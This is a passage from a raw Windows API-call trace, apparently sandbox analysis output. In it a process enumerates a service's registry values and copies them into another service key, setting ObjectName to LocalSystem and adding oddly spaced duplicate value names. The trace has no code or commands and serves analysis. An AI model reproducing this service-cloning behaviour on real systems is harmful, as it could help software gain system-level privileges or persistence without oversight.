Flags=0x8, Size=0x40) returned 0x1c94690 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94570 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0029.691] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0029.691] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0029.691] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1c96e98*, cbData=0x195 | out: lpData=0x1c96e98*) returned 0x0 [0029.692] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c96e98) returned 1 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0029.692] RegSetValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0029.692] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0029.692] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d3f8 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0029.692] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d408 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c949a8 [0029.692] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d418 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c949f0 [0029.692] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d428 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94a38 [0029.692] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.692] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0029.693] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d438 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94a80 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d448 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94de0 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4f8 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d98 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4e8 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d50 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0029.693] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4d8 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94d08 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4c8 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94cc0 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.693] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.693] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.693] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.693] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.694] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.694] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3f8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c949a8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d408) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c949f0) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d418) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94a38) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d428) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94a80) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d438) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94de0) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d448) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d98) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4f8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d50) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4e8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94d08) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4d8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94cc0) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4c8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1f870) returned 1 [0029.694] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.694] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.694] RegQueryValueExA (in: hKey=0x15c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0xc) returned 0x0 [0029.694] RegQueryValueExA (in: hKey=0x15c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94c30, lpcbData=0x18fb78*=0xc | out: lpType=0x18fb70*=0x1, lpData="LocalSystem", lpcbData=0x18fb78*=0xc) returned 0x0 [0029.694] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.694] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94cc0 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94cc0) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94cc0 [0029.695] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0xc) returned 0x0 [0029.695] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94cc0, lpcbData=0x18fb78*=0xc | out: lpType=0x18fb70*=0x1, lpData="LocalSystem", lpcbData=0x18fb78*=0xc) returned 0x0 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c30 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.695] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c30) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94cc0) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947b0) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3d8) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94840) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3c8) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94960) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3b8) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94918) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d3a8) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c948d0) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0029.695] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2f8) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d388) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c947f8) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d458) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94b10) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d398) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94888) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d358) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94648) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d348) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94600) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d338) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d328) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c877f8) returned 1 [0029.696] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d678 [0029.696] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0029.696] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d4b8) returned 1 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.696] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.696] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0029.696] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.696] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.696] RegSetValueExA (in: hKey=0x15c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0029.697] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94c78) returned 1 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d660 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d4b8 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94c78 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0029.697] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d660) returned 1 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94888 [0029.697] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d398 [0029.697] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94b10 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d458 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0029.698] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0029.698] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0029.698] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 